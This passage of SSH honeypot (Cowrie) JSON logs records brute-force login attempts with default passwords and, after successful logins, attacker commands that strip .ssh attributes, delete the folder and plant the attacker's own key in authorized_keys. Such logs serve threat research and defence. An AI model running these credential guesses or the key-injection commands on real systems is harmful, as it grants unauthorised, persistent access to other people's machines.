{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:15.237821Z","src_ip":"198.98.56.227","session":"fb16986dddc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot123","message":"login attempt [root/adminroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:15.275610Z","src_ip":"198.98.56.227","session":"fb16986dddc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:16.284967Z","src_ip":"198.98.56.227","session":"fb16986dddc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60914,"dst_ip":"10.17.0.5","dst_port":22,"session":"83fce3faddaa","protocol":"ssh","message":"New connection: 103.15.226.202:60914 (10.17.0.5:22) [session: 83fce3faddaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:36.517450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:36.521353Z","src_ip":"103.15.226.202","session":"83fce3faddaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:36.767540Z","src_ip":"103.15.226.202","session":"83fce3faddaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimdA123","message":"login attempt [root/nimdA123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:37.517723Z","src_ip":"103.15.226.202","session":"83fce3faddaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:38.765603Z","src_ip":"103.15.226.202","session":"83fce3faddaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":38778,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a52e01f6dc0","protocol":"ssh","message":"New connection: 198.98.56.227:38778 (10.17.0.5:22) [session: 3a52e01f6dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:02.764294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:02.778957Z","src_ip":"198.98.56.227","session":"3a52e01f6dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:02.798892Z","src_ip":"198.98.56.227","session":"3a52e01f6dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:02.847231Z","src_ip":"198.98.56.227","session":"3a52e01f6dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:03.862410Z","src_ip":"198.98.56.227","session":"3a52e01f6dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.118.114.206","src_port":33489,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f62a12f68d","protocol":"telnet","message":"New connection: 125.118.114.206:33489 (159.203.135.109:23) [session: a5f62a12f68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:36.924836Z"}
{"eventid":"cowrie.session.closed","duration":0.0056416988372802734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:36.930346Z","src_ip":"125.118.114.206","session":"a5f62a12f68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62550,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a12979b741","protocol":"ssh","message":"New connection: 87.251.64.176:62550 (10.17.0.5:22) [session: d2a12979b741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:37.586082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:37.590822Z","src_ip":"87.251.64.176","session":"d2a12979b741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:37.687673Z","src_ip":"87.251.64.176","session":"d2a12979b741","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:37.976969Z","src_ip":"87.251.64.176","session":"d2a12979b741","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:38.080529Z","session":"d2a12979b741","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:38.178548Z","src_ip":"87.251.64.176","session":"d2a12979b741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:38.414217Z","src_ip":"87.251.64.176","session":"d2a12979b741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":55172,"dst_ip":"10.17.0.5","dst_port":22,"session":"69b26eda7ceb","protocol":"ssh","message":"New connection: 198.98.56.227:55172 (10.17.0.5:22) [session: 69b26eda7ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:51.326132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:51.330864Z","src_ip":"198.98.56.227","session":"69b26eda7ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:51.337659Z","src_ip":"198.98.56.227","session":"69b26eda7ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testing123","message":"login attempt [test/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:51.410386Z","src_ip":"198.98.56.227","session":"69b26eda7ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:52.423456Z","src_ip":"198.98.56.227","session":"69b26eda7ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.35.127.66","src_port":6396,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4e47117bfdc","protocol":"ssh","message":"New connection: 118.35.127.66:6396 (10.17.0.5:22) [session: d4e47117bfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:55.208599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:55.215483Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:55.417597Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2017","message":"login attempt [admin/admin@2017] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:56.243129Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:56.684508Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:56.687721Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:56.691351Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:56.891614Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:57.332295Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:57.335973Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:57.540253Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:57.546576Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.35.127.66","src_port":51325,"dst_ip":"10.17.0.5","dst_port":22,"session":"26923f9c5734","protocol":"ssh","message":"New connection: 118.35.127.66:51325 (10.17.0.5:22) [session: 26923f9c5734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:57.732189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:57.738181Z","src_ip":"118.35.127.66","session":"26923f9c5734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 